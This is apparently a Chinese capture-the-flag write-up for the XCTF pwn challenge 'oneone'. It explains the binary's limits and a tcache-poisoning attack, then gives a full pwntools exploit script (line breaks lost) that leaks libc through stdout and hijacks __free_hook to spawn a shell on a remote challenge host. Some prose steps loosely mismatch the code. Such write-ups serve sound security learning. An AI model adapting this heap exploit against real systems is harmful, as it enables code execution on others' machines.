XCTF-PWN-oneone
分析
我们先checksec看下
保护全开gdb看下
IDA看到oneone程序只有Add、Del、Gift三个功能
并且Add只能申请小于0x7f的chunk。
且Del只能删除前一个通过Add申请到的chunk
看到限制了使用Add功能的次数为10次、使用Del功能的次数为4次,
然后Gift功能可以在Add功能的次数用完后,增加一次使用Del功能的次数。
利用
这段代码实现了一个基于tcache攻击的利用思路:
- 通过分配并释放两个0x70字节的chunk来使得第二个chunk进入tcache链表中;
- 再次分配并释放一个0x60字节的chunk,使得第三个chunk进入tcache链表,并且此时第二个chunk位于tcache[0x40]中;
- 分配一个0x70字节的chunk,并将其内容修改为“\x10\x70”(注意末尾需要加换行符),从而在堆上伪造了一个指针,指向了main arena的头部;
- 再次分配一个0x70字节的chunk,该chunk会占据刚才被释放的0x70字节的chunk,并将其添加到tcache[0x40]中;
- 修改tcache[0x40]中的计数器,令其等于7,然后再次分配一个0x40字节的chunk,该chunk从unsorted bin中获取。这里利用了tcache计数器的漏洞,在计数器等于7时,会从unsorted bin中获取chunk;
- 将这个获取到的chunk的内容修改为“\x60\x70”(同样需要加换行符),从而把刚才伪造的指针放入到了tcache[2]中;
- 分配一个0x60字节的chunk,并修改其中的_IO_buf_base和_IO_buf_end指针,将其指向堆上的位置,从而覆盖stdout结构体中的_IO_write_ptr和_IO_write_base指针;
- 通过第一步攻击得到libc基地址,计算出free_hook和system的地址,并将free_hook指向/bin/sh,最后调用Gift函数触发system("/bin/sh")。
Exp如下:
from pwn import * context.log_level = 'debug' libc = ELF('/mnt/c/Users/faze1/Desktop/oneone/libc-2.27.so') def lg(s, addr): log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr)) def Menu(choice): io.sendlineafter('Choice >>', str(choice)) def New(size, content): Menu(1) io.sendlineafter('Size:', str(size)) io.sendafter('Content:', content) def Delete(): Menu(2) def Gift(): Menu(3) # perform attack multiple times while True: try: # connect to remote service io = remote('61.147.171.105', 54542) # step1: prepare for tcache poisoning New(0x70, 'A'*0x10+'\n') Delete() Delete() New(0x60, 'A'*0x10+'\n') # preper for blast stdout Delete() New(0x70, '\x10\x70'+'\n') # first blast heap base && tcache attack New(0x70, 'A'*0x10+'\n') payload = '\x07'*0x30 # tcache bin count payload = payload.ljust(0x68, '\x00') payload += '\x60\x70' # fake ptr to mainarea New(0x70, payload+'\n') Delete() # step2: leak libc address New(0x40, 'A'*0x10) # new chunk from unsortedbin,occupy the array of counts New(0x60, '\x60\x47') # second blast _IO_2_1_stdout_ payload = p64(0xfbad3c80) payload += p64(0)*3 + '\x00' New(0x30, payload) io.readn(8) content = io.readn(8) libc_base = u64(content) - 0x3ed8b0 lg('libc_base', libc_base) # step3: perform tcache poisoning for free_hook free_hook = libc_base + libc.symbols['__free_hook'] payload = p64(free_hook-0x8) New(0x7f, payload) system_addr = libc_base + libc.symbols['system'] payload = '/bin/sh\x00' + p64(system_addr) New(0x30, payload) Gift() Delete() io.interactive() except Exception as e: print(e) io.close()